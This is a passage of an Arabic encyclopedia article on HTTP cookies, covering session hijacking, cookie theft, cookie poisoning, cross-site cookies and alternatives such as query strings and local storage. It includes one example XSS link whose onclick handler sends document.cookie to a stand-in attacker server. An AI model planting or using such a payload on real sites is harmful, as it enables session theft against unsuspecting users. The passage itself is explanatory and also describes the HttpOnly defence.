يمكن أن تسرق الكوكيز عبر استنشاق الرسالة في هجوم يسمى اختطاف الجلسة. حركة المرور على الشبكة يمكن اعتراضها وقراءتها من قبل أجهزة الكمبيوتر على الشبكة وغيرها من المرسل والمتلقي (وخاصة على شبكات الواي فاي العامة الغير مشفرة). ويشمل هذا المرور الكوكيز أرسلت في دورات المتشعب العادية الغير مشفرة. حيث حركة مرور الشبكة غير مشفرة، يمكن بالتالي للمستخدمين الخبثاء قراءة رسائل المستخدمين الآخرين على الشبكة، بما في ذلك ملفات الكوكيز، وذلك باستخدام برامج تسمى رسالة التنصت.

ويمكن التغلب على هذه المشكلة من خلال تأمين التواصل بين جهاز المستخدم والخادم من خلال توظيف طبقة أمن النقل (https بروتوكول) لتشفير الاتصال. خادم يمكنه تحديد علامة الأمن أثناء إعداد الكوكي؛ المتصفح سوف يرسله فقط عبر قناة آمنة، مثل اتصال الطبقة الآمنة. [٢٩]

لكن عددا كبيرا من المواقع، على الرغم من استخدام اتصالات https مشفرة من أجل مصداقية المستخدم (أي صفحة تسجيل الدخول) ،و بعد ذلك بإرسال كوكيز الجلسة وغيرها من البيانات الغير عادية، وصلات النص المتشعب الغير مشفرة لأسباب الجودة. المهاجمون بالتالي يمكنهم بسهولة اعتراض الكوكيز من المستخدمين الآخرين، وانتحال شخصية لهم على المواقع ذات الصلة [٣٠]، أو استخدامها في هجوم الكوكيز.

ملف:Cookie-theft.svg
البرمجة عبر الموقع : ملف الكوكي الذي ينبغي أن يكون فقط متبادل بين الخادم والعميل يتم إرساله إلى طرف آخر.

وهناك طريقة مختلفة لسرقة الكوكيز و هي البرامج النصية عبر المواقع وجعل المتصفح نفسه يثوم بإرسال الكوكيز إلى الخوادم الخبيثة التي لا ينبغي أن تحصل عليها. برامج التصفح الحديثة تتيح تنفيذ قطعة من رمز استردادها من الخادم. إذا كانت الكوكيز يمكن الوصول إليها أثناء التنفيذ، يمكن لقيمتها أن تتصل بشكل من الأشكال إلى الخوادم التي لا ينبغي الوصول إليها. تشفير ملفات الكوكيز قبل إرسالها على الشبكة لا يساعد على هذا الهجوم.[٣١]

هذا النوع من البرمجة عبر الموقع عادة ما تستغل من قبل المهاجمين على المواقع التي تسمح للمستخدمين بالمشاركة في محتوي أتش تي أم أل. عن طريق زرع قطعة مناسبة من التعليمات البرمجية في وظيفة أتش تي أم أل، يمكن للمهاجمين استقبال الكوكيز من المستخدمين الآخرين. ويمكن معرفة هذه الكوكيز ثم يمكن استغلالها من خلال الاتصال بنفس الموقع باستخدام ملفات الكوكيز المسروقة، وبالتالي يتم الاعتراف بها على أنها المستخدم الذي سرقت الكوكيز منه. هوب وولتر يقدمان مثالا مكودا.[٣٢]

وهناك طريقة لمنع مثل هذه الهجمات باستخدام العلامة HttpOnly ؛ [٣٣] هذا هو الخيار، وقدم لأول مرة من قبل مايكروسوفت [٣٤] وتنفذ في لغة PHP منذ النسخة 5.2.0 [٣٥] التي تهدف إلى جعل الكوكي غير قابلة للوصول من الجانب النصي للعميل. ومع ذلك، مطورو الويب ينبغي النظر في تطوير مواقعهم على شبكة الإنترنت بحيث تكون في مأمن من الهجمات النصية عبر الموقع.[٣٦]

ملف:Cookie-poison.svg
تسميم الكوكي : مهاجم يرسل للخادم كوكي غير صالح، وربما تعديل كوكي صالح سبق له أن تلقاه الخادم.

سرقة الكوكي

مواصفات الكوكيز تقيد الكوكيز حيث يعاد إرسالها فقط إلى الخوادم في النطاق نفسه الذي أنشأهم. ومع ذلك، يمكن إرسال قيمة الكوكيز إلى خوادم أخرى تستخدم وسائل مختلفة من رأس Cookie

على وجه الخصوص، لغات البرمجة مثل جافا سكريبت وJScript عادة ما تسمح بالوصول إلى قيم الكوكيز وتحتوي على بعض الوسائل لارسال القيم التعسفية للخوادم التعسفية على شبكة الإنترنت. هذه الحقائق هي استعملت في الجمع لمواقع تسمح للمستخدمين بإرسال محتوى أتش تي أم أل الذي يمكن للمستخدمين الآخرين مشاهدته.

على سبيل المثال، المهاجم الذي يشغل النطاق example.com يمكن أن يدرج تعليق يحتوي على الوصلة التالية لبلوج مشهور لا تحكم على خلاف ذلك :

<a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!

عندما ينقر مستخدم آخر على هذه الوصلة، المتصفح ينفذ قطعة من رمز داخل الجملة _ onclick، وبالتالي استبدال الجملة document.cookie مع قائمة الكوكيز للمستخدم الناشطة للصفحة. نتيجة لذلك، هذه القائمة من الكوكيز يتم إرسالها إلى الخادم example.com، ومن ثم المهاجم يستطيع أن يجمع الكوكيز من المستخدمين الآخرين.

هذا النوع من الهجوم من الصعب الكشف عنه من جانب المستخدم لأن النص هو من نفس النطاق الذي حدد الكوكيز، وعملية إرسال قيمة تبدو مرخصة من قبل هذا النطاق. ويعتبر عادة من مسؤولية مديري المواقع التي يمكن للمستخدمين الكتابة فيها حيث يقومون بعدم السماح لنشر مثل هذه الشفرات الخبيثة.

ملفات الكوكيز غير مرئية مباشرة إلى برامج العميل مثل جافا سكريبت إذا تم إرسالها مع الرمز HttpOnly. من وجهة نظر الخادم، الفرق الوحيد فيما يتعلق بالحالات العادية هو أن خط رأس كوكيز المجموعة يضاف حقل جديد يحتوي على سلسلة `HttpOnly' :

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net; HttpOnly

عندما يحصل المتصفح على مثل هذا الكوكي، فمن المفترض أن يستخدمه كما هو معتاد في تبادلات المتشعب التالية، ولكن ليس لجعله [٣٣] مرئية للبرامج النصية من جانب العميل.[٣٣] ورمز HttpOnly ليس جزءا من أي معيار، وغير مطبق في جميع المتصفحات. نلاحظ أنه لا يوجد حاليا أي وقاية من قراءة أو كتابة ملف كوكي الجلسة عبر XMLHTTPRequest.[٣٧]

تسميم الكوكي

بينما الكوكيز من المفترض أن يتم تخزينها وإرسالها إلى الخادم دون تغيير، يمكن للمهاجمين تعديل قيمة الكوكيز قبل إرسالها إلى الخادم. إذا، على سبيل المثال، كوكي يحتوي على القيمة الإجمالية للمستخدم التي عليه دفعها للسلع في سلة التسوق، تغيير هذه القيمة يكشف الخادم لخطر جعل المهاجم يدفع أقل بكثير من السعر المفترض. عملية العبث في قيمة الكوكيز تسمى تسميم الكوكي، ويستخدم أحيانا بعد سرقة الكوكيز لجعل الهجوم مستمر.

ملف:Cookie-cooking.svg
في الكوكيز عبر الموقع، يستغل المهاجم شوائب المتصفح لإرسال كوكي غير صالح إلى الخادم.

معظم المواقع، حتى التي تخزن فقط معرف الجلسة—عدد عشوائي معين يستخدم لتحديد هوية جلسة المستخدم—في الكوكيز نفسها، في حين أن جميع المعلومات يتم تخزينها على الخادم. في هذه الحالة، ومشكلة تسميم الكوكي يتم التخلص منها إلى حد كبير.

ملفات الكوكيز عبر موقع

كل موقع من المفترض أن يكون له ملفات الكوكيز الخاصة به، ولذلك فموقع مثل example.com لا ينبغي أن يكون قادرا على تغيير أو وضع الكوكيز لموقع آخر، مثل example.org. نقاط الضعف الكوكيز عبر الموقع في متصفحات الويب تسمح لمواقع خبيثة بكسر هذه القاعدة. وهذا مشابه لتسميم الكوكي، ولكن المهاجم يستغل المستخدمين الغير خبثاء الذين يستخدمون المتصفحات الضعيفة، وبدلا من مهاجمة الموقع الفعلي مباشرة. والهدف من مثل هذه الهجمات قد يكون لتنفيذ تثبيت الجلسة.

شاهد ينصح باستخدام أحدث الإصدارات من متصفحات الويب التي تخفف من هذه المسألة.

تضارب الحالة على العميل والخادم

استخدام الكوكيز قد يولد عدم تناسق بين حالة العميل والحالة المخزنة في الكوكيز. إذا كان المستخدم يستحوذ على ملف كوكي ثم نقب على الزر "رجوع" في المتصفح، الحالة على المتصفح عموما ليست نفسها قبل عملية الرجوع. على سبيل المثال، إذا كانت عربة التسوق في متجر على الإنترنت تتحقق باستخدام ملفات الكوكيز، محتويات العربة لا تتغير عندما يعود المستخدم في تاريخ المتصفح : إذا قام المستخدم بالضغط على زر لإضافة بند في عربة التسوق وثم النقر على الزر "رجوع"، فإن هذا البند لا يزال في عربة التسوق. قد لا يكون هذا بالقصد من المستخدم، الذي ربما أراد التراجع في إضافة هذا البند. هذا يمكن أن يؤدي إلى عدم إمكانية الاعتماد عليها، والارتباك، والأخطاء. مطوري الويب لذلك ينبغي عليهم أن يكونوا على علم بهذه المسألة وتنفيذ تدابير للتعامل مع مثل هذه الحالات.

انتهاء صلاحية الكوكي

الكوكيز الدائمة قد تعرضت لانتقادات من جانب خبراء الخصوصية لعدم السماح بها بأن تنتهي في وقت قريب بما فيه الكفاية، وبالتالي السماح لمواقع الويب لتعقب المستخدمين وبناء صورة منها على مر الزمن.[٣٨] هذا الجانب من الكوكيز أيضا يتفق مع قضية اختطاف الجلسة، وذلك لأن الكوكيز الدائمة المسروقة يمكن أن تستخدم لتمثيل مستخدم لفترة طويلة من الزمن.

بدائل الكوكيز

بعض العمليات التي يمكن أن تتحقق باستخدام الكوكيز يمكن أيضا أن تتحقق باستخدام آليات أخرى.

عنوان بروتوكول الإنترنت

تقنية لا يمكن الاعتماد عليها لتعقب المستخدمين تستند إلى تخزين عنوان المستخدم لأجهزة الكمبيوتر التي تطلب صفحات. هذه التقنية متوفرة منذ استحداث شبكة الويب العالمية، كما يتطلب تحميل صفحات الخادم الضغط عليهم لمعرفة عنوان بروتوكول الإنترنت من الكمبيوتر الذي يشغل المتصفح أو الوكيل، إذا استخدم أيهما. الخادم يمكنه تسجيل هذه المعلومات سواء كانت ملفات الكوكيز تستخدم أو لا.

ومع ذلك، هذه العناوين عادة ما تكون أقل موثوقية من الكوكيز في تحديد مستخدم لأن أجهزة وطلاء الكمبيوتر قد يكونون مشتركين بين العديد من المستخدمين، وعلى نفس الكمبيوتر قد يتم تعيين عناوين بروتوكول الإنترنت في مختلف جلسات العمل المختلفة (كما هو الحال غالبا في الاتصال الهاتفي). ويمكن تحسين الاعتماد على هذه التقنية باستخدام ميزة أخرى لبروتوكول المتشعب: عندما يطلب المتصفح صفحة لأن المستخدم قد اتبع رابط، وطلب أن يتم إرسالها إلى خادم يحتوي على عنوان الصفحة حيث الارتباط الموجود. إذا كان الخادم يخزن هذه العناوين، يمكن لتتبع مسار الصفحات من قبل المستخدم أن يكون أكثر تحديدا. ومع ذلك، فإن هذه الآثار هي أقل موثوقية من تلك التي تقدمها الكوكيز، كما العديد من المستخدمين الذين يمكنهم الوصول إلى نفس الصفحة من نفس الكمبيوتر، توجيه نات، أو الوكيل ومن ثم اتباع اثنين من الروابط المختلفة. وعلاوة على ذلك، هذا الأسلوب يسمح فقط بالتتبع ولا يمكن أن تحل محل الكوكيز في استخدامات أخرى.

التتبع من قبل عنوان بروتوكول الاترنت يمكن أن يكون مستحيل مع بعض النظم التي تستخدم للاحتفاظ بهويته على الانترنت، مثل تور. مع مثل هذه النظم، ليس فقط يمكن لمتصفح أن يحمل عناوين متعددة طوال الجلسة ولكن أيضا لعدة مستخدمين يمكن أن تبدو قادمة من نفس عنوان بروتوكول الإنترنت، مما يجعل استخدام عنوان بروتوكول الإنترنت للتعقب لا يمكن الاعتماد عليه كليا.

بعض مقدمي خدمات الإنترنت الرئيسية، بما فيها أمريكا أون لاين، تتحكم بكل مسارات حركة المرور على الشبكة من خلال عدد صغير من الوكلاء مما يجعل هذا النظام غير قابل للتنفيذ بشكل خاص.

ولكن هناك بعض الأشياء التي تجعل عناوين بروتوكول الإنترنت يمكن استخدامها. مع استخدام أكثر انتشارا للموجهات، كثير من مستخدمي الحزمة العريضة يبقون على عموان بروتوكول الإنترنت لنفسهم طالما بقيوا. مجتمعة مع رأس المتشعب لوكيل المستخدم، يمكن للمتعقب التفريق بين المستخدمين وراء نات. عندما يقترن مع كوكيز الجلسة والوصلات لمتعقبيهم على عدد كبير من الصفحات (كما يحدث مع جوجل على سبيل المثال مع ادسينس، ودبل كليك فهي تجمع بين عنوان بروتوكول الإنترنت ثابت لتعلن عن خدمة بريد جوجل، وبين غيرها من مقدمي الخدمات والمعلنين.) المتعقي يمكنه ذلك على نطاق واسع حتى في حالة عدم وجود ملفات الكوكيز الدائم.

عنوان الارتباط التشعبي (سلسلة الاستعلام)

وهناك أسلوب أكثر دقة يستند إلى ترسيخ المعلومات في عناوين المواقع. سلسلة الاستعلام جزءا من العنوان هي عادة ما تستخدم لهذا الغرض، ولكن أجزاء أخرى يمكن استخدامها كذلك. آليات بريمج جافا و PHP للجلسة كلهما يستخدم هذا الأسلوب إذا لم يتم تمكين ملفات الكوكيز.

هذا الأسلوب يتألف من خادم ويب يلحق سلاسل الاستعلام إلى وصلات من صفحة ويب يشغلها عند إرساله إلى المتصفح. عندما يقوم المستخدم بتتبع ارتباط، المستعرض يعيد سلسلة الاستعلام الملحقة إلى الخادم.

سلاسل الاستعلام التي تستخدم في هذا السبيل والكوكيز متشابهة جدا، سواء القطع التعسفي للمعلومات التي يجري اختيارها من قبل الخادم والتي يرسلها المتصفح. ومع ذلك، هناك بعض الاختلافات : لأن سلسلة استعلام هي جزء من العنوان، فإذا استخدم هذا العنوان في وقت لاحق، نفس القطعة الملحقة من المعلومات يتم إرسالها إلى الخادم. على سبيل المثال، إذا كانت تفضيلات المستخدم يتم ترميزها في سلسلة الاستعلام بالعنوانو المستخدم يرسل هذا العنوان إلى مستخدم آخر عن طريق البريد الإلكتروني، هذه الأفضليات سوف تستخدم لهذا المستخدم الآخر كذلك.

وعلاوة على ذلك، حتى لو كان المستخدم نفسه يستعرض الصفحة نفسها مرتين، ليس هناك ما يضمن أن نفس سلسلة الاستعلام يتم استخدامها في كلا الحالتين. على سبيل المثال، إذا كان المستخدم نفسه يصل إلى نفس الصفحة ولكن يأتي من الصفحة الداخلية للموقع للمرة الأولى ومن محرك بحث خارجي للمرة الثانية، فإن سلاسل الاستعلام عادة ما تكون مختلفة في حين أن ملفات الكوكيز ستكون هي نفسها. لمزيد من التفاصيل، انظر سلسلة الاستعلام.

عيوب أخرى من سلاسل الاستعلام المتعلقة بالأمن : تخزين البيانات التي تحدد جلسة في سلسلة استعلام تمكن أو يبسط هجمات تثبيت الجلسة، هجمات التسجيلالمحال ومآثر أمنية أخرى. نقل معرفات الجلسة كما في سجل المتصفح هو أكثر أمنا.

حقول النموذج المخفي

وهناك شكل من أشكال تتبع الجلسة، التي يستخدمها ASP.NET، هو استخدام نماذج الويب مع الحقول المخفية. هذه التقنية هي مشابهة جدا لاستخدام سلاسل استعلام الرابط للاحتفاظ بالمعلومات، والعديد من نفس المزايا والعيوب، وإذا كان النموذج معدل باستخدام طريقة الحصول في النص المتشعب GET، فالحقول فعلا تصبح جزءا من العنوان وسوف يرسلها المتصفح على شكل التقديم. ولكن معظم النماذج يتم التعامل معها من خلال طريقة الوضع النص المتشعب POST، الذي يسبب لمعلومات النموذج، بما في ذلك الحقول المخفية، بإلحاقها كالمدخل الاضافي الذي لا يعتبر جزءا من الرابط، ولا من ملفات الكوكيز.

هذا النهج يقدم ميزاتان من وجهة نظر المتعقب: أولا، الحصول على المعلومات التي وضعت في مصدر أتش تي أم أل والمدخلات من نوع POST فضلا عن أنها في عنوان الموقع يعني أنها لن تلاحظ من قبل المستخدم العادي، وثانيا، معلومات الجلسة لم يتم نسخها عند نسخ المستخدم عنوان الموقع (لحفظ الصفحة على القرص أو إرساله عبر البريد الإلكتروني، على سبيل المثال). ومن عيوب هذه التقنية هو أن معلومات الجلسة تكون في الكود، وبالتالي فإن كل صفحة على شبكة الإنترنت يجب أن تكون متولدة ديناميكيا في كل مرة يطلبها شخص ما، ووضع عبء إضافي على خادم الويب.

window.name

جميع متصفحات الويب الحالية يمكنها تخزين كمية كبيرة نسبيا من البيانات (2-32 ميغابايت) عبر استخدام جافا سكريبت باستخدام الخاصية " DOM " window.name وهذه البيانات يمكن أن تستخدم بدلا من كوكيز الجلسة وأيضا عبر النطاق. هذه التقنية يمكن أن يقترن بكائنات جافا سكريبت لجسون لتخزين مجموعات معقدة من متغيرات الجلسة على جانب العميل.

والجانب السلبي هو أن كل نافذة منفصلة أو تبويب له window.name فارغة ؛ في أوقات الاستعراض المبوب وهذا يعني أن فتح التبويبات الفردية (البدء من قبل المستخدم) لن يكون له اسم النافذة. وعلاوة على ذلك window.name يمكن أن يستخدم لتعقب الزوار عبر مواقع الإنترنت المختلفة، مما يجعل هناك قلق بالنسبة للخصوصية على الإنترنت.

في بعض النواحي هذا يمكن أن يكون أكثر أمنا من الكوكيز التي لا تنطوي على الخادم، وبهذا لا تكون عرضة لهجمات التجسس على كوكيز الشبكة. ولكن إذا لم يتم اتخاذ تدابير خاصة لحماية البيانات، ستكون عرضة لهجمات أخرى، لأن البيانات المتاحة عبر مواقع الإنترنت المختلفة فتحت في نفس النافذة أو التبويب.

مصداقية المتشعب

كما في المصداقية، بروتوكول النص المتشعب يتضمن مصداقية الوصول الأساسي بروتوكولات مصادقة الوصول الموجز، والتي تتيح الوصول إلى صفحة ويب فقط عندما يقوم المستخدم بتقديم اسم المستخدم وكلمة السر الصحيحين. إذا كان الخادم يتطلب مثل هذا الاعتماد لمنح الوصول إلى صفحة ويب، فالمتصفح يطلبهم للمستخدم، وبمجرد الحصول عليها، فالمتصفح يخزها ويستخدمها أيضا في الصفحات اللاحقة من أجل الوصول دون الحاجة لتوفير المستخدم لهم مرة أخرى. من وجهة نظر المستخدم، فالأثر هو نفسه كما لو كانت تستخدم الكوكيز : اسم المستخدم وكلمة السر طلبوا مرة واحدة فقط، ومنذ ذلك الحين فصاعدا يتم منح المستخدم الوصول إلى الموقع. بروتوكول مصداقية الوصول الأساسي، هو مزيج من اسم المستخدم وكلمة المرور التي يتم إرسالها إلى الخادم في كل طلب للمستعرض. وهذا يعني أن أي شخص يتصنت على هذا المرور يستطيع ببساطة قراءة هذه المعلومات وتخزينها لاستخدامها لاحقا. التغلب على هذه المشكلة هو في بروتوكول مصداقية الوصول الموجز، الذي هو كلمة السر مشفرة باستخدام نسبة حالية عشوائية أنشأت من قبل الخادم.

الكائنات المحلية المشتركة لأدوب فلاش

إذا كان المتصفح يشمل البرنامج المساعد أدوب فلاش(التي وضعتها ماكروميديا)، وظيفة الكائنات المحلية المشتركة يمكن أن تستخدم بطريقة مشابهة جدا لملفات الكوكيز. الكائنات المحلية المشتركة قد تكون خيارا جذابا لمطوري الويب لأن أغلبية مستخدمي ويندوز يضعون مشغل فلاش، الحد الأقصى الافتراضي للحجم هو 100 كيلوبايت، والضوابط الأمنية تختلف تبعا لمستخدم هذه الملفات، ولذلك فإن الكائنات المحلية المشتركة المخزنة قد يتم تمكينها في حين أن الكوكيز لا يتم تمكينها.

في بعض الحالات، المواقع على شبكة الإنترنت قد أنشأت فلاش LSOs التي تتصرف بشكل مختلف عن ما عينه المستخدم لكوكيز المتشعب، والذي أثار مخاوف من أن مواقع الإنترنت بحاجة إلى تحديد ثابت لسياسة الخصوصية عبر أنواع مختلفة من الكوكيز.

[٣٩]

العيب الرئيسي لهذا النهج هو نفسه كما في كل منهج " platform/vendor-specific " : انه يكسر الوصول والعمل المشترك العالمي للويب، يربط التطوير على شبكة الإنترنت برنامج عميل محدد، باستثناء المستخدمين الذين يستخدمون وكيل مستخدم لشبكة الإنترنت متوافق مع المعايير وبدلا من ذلك يضطرهم وكلاء شبكة اللإنترنت من نوع platform/vendor-specific، والذي يديم قفل الـ vendor.

دوام العميل

بعض متصفحات الويب تدعم النص القائم على آلية الاستمرار التي تسمح للصفحة لتخزين المعلومات محليا لاسترجاعها في وقت لاحق. إنترنت اكسبلورر، على سبيل المثال، تؤيد استمرار المعلومات في المستعرض في تاريخها، في المفضلة، في مخزن XML، أو مباشرة داخل صفحة ويب المحفوظة على القرص.[٤٠] مع أتش تي أم أل 5 سيكون هناك أسلوب التخزين DOM(التخزين المحلي)، وتدعمها حاليا بعض المتصفحات. لإنترنت إكسبلورر 5 + هناك طريقة userData المتاحة من خلال سلوكيات DHTML.

وثمة آلية مختلفة تعتمد على التخزين المؤقت للمتصفحات (تبقى في الذاكرة بدلا من إعادة تحميلها) برامج جافا سكريبت المستخدمة في صفحات الويب. على سبيل المثال، قد تحتوي الصفحة على وصلة مثل <script type="text/javascript" src="example.js"> في المرة الأولى يتم تحميل الصفحة، فالبرنامج example.js يتم تحميله كذلك. عند هذه النقطة، فإن البرنامج لا يزال في الذاكرة ولا يحتاج لإعادة التحميل مرة أخرى عند زيارة نفس الصفحة. نتيجة لذلك، إذا كان هذا البرنامج يحتوي على عبارة مثل id=3243242 (متغير عام)، هذا المعرف لا يزال صالح ويمكن استغلاله من قبل نص جافا سكربت آخر عندما يتم تحميل الصفحة مرة تالية، أو صفحة أخرى متصلة بالبرنامج نفسه يتم تحميلها. [بحاجة لمصدر] العيب الرئيسي لهذه الطريقة هو أن متغير جافا سكريبت العام يجب أن يكون ثابت، وهذا يعني أنه لا يمكن تغييره أو حذفه باستمرار مثل ملفات الكوكيز.

المراجع

  1. ^ [3] ^ John Schwartz. Giving the Web a memory cost its users privacy. New York Times. September 4, 2001
  2. ^ أ ب [12] ^ Jey Kesan and Rajiv Shah. Deconstructing Code. Chapter II.B (Netscape's cookies). Yale Journal of Law and Technology, 6, 277–389.
  3. ^ أ ب [14] ^ David Kristol.HTTP Cookies: Standards, privacy, and politics. ACM Transactions on Internet Technology, 1(2), 151–198, 2001. doi:10.1145/502152.502153
  4. ^ [6] ^ Press Release: Netscape Communications Offers New Network Navigator Free On The Internet
  5. ^ [7] ^ Usenet Post by Marc Andreessen: Here it is, world!
  6. ^ Hardmeier، Sandi، "The history of Internet ExplorerMicrosoft، 2005-08-25وصل لهذا المسار 2009-01-04.
  7. ^ [11] ^ Roger Clarke. Cookies
  8. ^ أ ب How to Manage Cookies in Internet Explorer 6. Microsoft
    (December 18, 2007). Retrieved 2009-01-04.
  9. ^ Persistent client state HTTP cookies: Preliminary specification. Netscape
    (c1999).
  10. ^ [19] ^ RFC 2965 - HTTP State Management Mechanism (IETF)
  11. ^ cookie Property. MSDN. Microsoft. Retrieved 2009-01-04.
  12. ^ Shannon، Ross، "Cookies - set and retrieve information about your readersHTMLSource، 2007-02-26وصل لهذا المسار 2009-01-04.
  13. ^ Contrary to popular belief, cookies are good for you! (on the Internet). The All I Need. Retrieved 2009-01-04.
  14. ^ [26] ^ Keith C. Ivey Untangling the Web Cookies: Just a Little Data Snack. 19981998
  15. ^ I-034: Internet Cookies. CIAC, United States Department of Energy (ciac.org)
    (March 12, 1998, revised February 1, 2007). Retrieved 2007-11-05.
  16. ^ [29] ^ Brian Quinton.Study: Users Don't Understand, Can’t Delete Cookies. مباشرة. May 18, 2005
  17. ^ [30] ^ Adam Penenberg. Cookie Monsters. Slate, November 7, 2005
  18. ^ Whalen، David (06/08/2002). The Unofficial Cookie FAQ. Cookie Central. Retrieved 2009-01-04.
  19. ^ Clearing private data. Firefox Support Knowledge base. Mozilla
    (16 September, 2008). Retrieved 2009-01-04.
  20. ^ Clear Personal Information : Clear browsing data. Google Chrome Help. Google. Retrieved 2009-01-04.
  21. ^ Clear Personal Information: Delete cookies. Google Chrome Help. Google. Retrieved 2009-01-04.
  22. ^ [42] ^ سي بي اس نيوز. وكالة المخابرات المركزية تلقى القبض على انسلال الكوكيز. 20 مارس 2002.
  23. ^ وكالة انباء اسوشيتد برس. وكالة التجسس تزيل ملفات التتبع غير القانونية. 29 ديسمبر 2005
  24. ^ guichett - 32002L0058 -. eur-lex.europa.eu. Retrieved 2009-02-18.
  25. ^ Cookie Settings for Opera 9. OperaWiki.info. Retrieved 2008-01-20.
  26. ^ Pegoraro، Rob، "How to Block Tracking CookiesWashington Post، July 17, 2005، صفحة F07وصل لهذا المسار 2009-01-04.
  27. ^ [50] ^ http://taco.dubfire.net/ تاكو، the Targeted Advertising Cookie Opt-Out Firefox extension
  28. ^ Tilkov، Stefan (July 02, 2008). REST Anti-Patterns. InfoQ. Retrieved 2009-01-04.
  29. ^ [53] ^ إدارة حالة المتشعب.
  30. ^ Warning of webmail wi-fi hijack. BBC News
    (August 3, 2007).
  31. ^ [56] ^ "هل يمكنك أن تريني ماذا تشبة سرقة كوكي XSS ؟" (except from the Cgisecurity Cross-Site Scripting FAQ).
  32. ^ Hope, Paco; Walther, Ben (2008), Web Security Testing Cookbook, O'Reilly Media, Inc., p. 238, ISBN 978-0-596-51483-9 
  33. ^ أ ب ت [59] ^ مايكروسوفت، Mitigating Cross-site Scripting With HTTP-only Cookies.
  34. ^ Who developed HTTPOnly? When?. OWASP. Retrieved 2009-01-04.
  35. ^ session_set_cookie_params. PHP Manual. PHP. Retrieved 2009-01-04.
  36. ^ [64] ^ مايكروسوفت، والدفاع عن الرمز الخاص بك مع عشرة نصائح أمن يجب أن يعرفها كل مطور.
  37. ^ Browsers Supporting HTTPOnly. OWASP. Retrieved 2009-01-04.
  38. ^ "Google expires cookies sooner in minor privacy concessionCnet، June 16, 2007وصل لهذا المسار 2007-11-07.
  39. ^ http://papers.ssrn.com/sol3/papers.cfm؟abstract_id=1446862
  40. ^ [71] ^ مقدمة إلى الدوام، MSDN

وصلات خارجية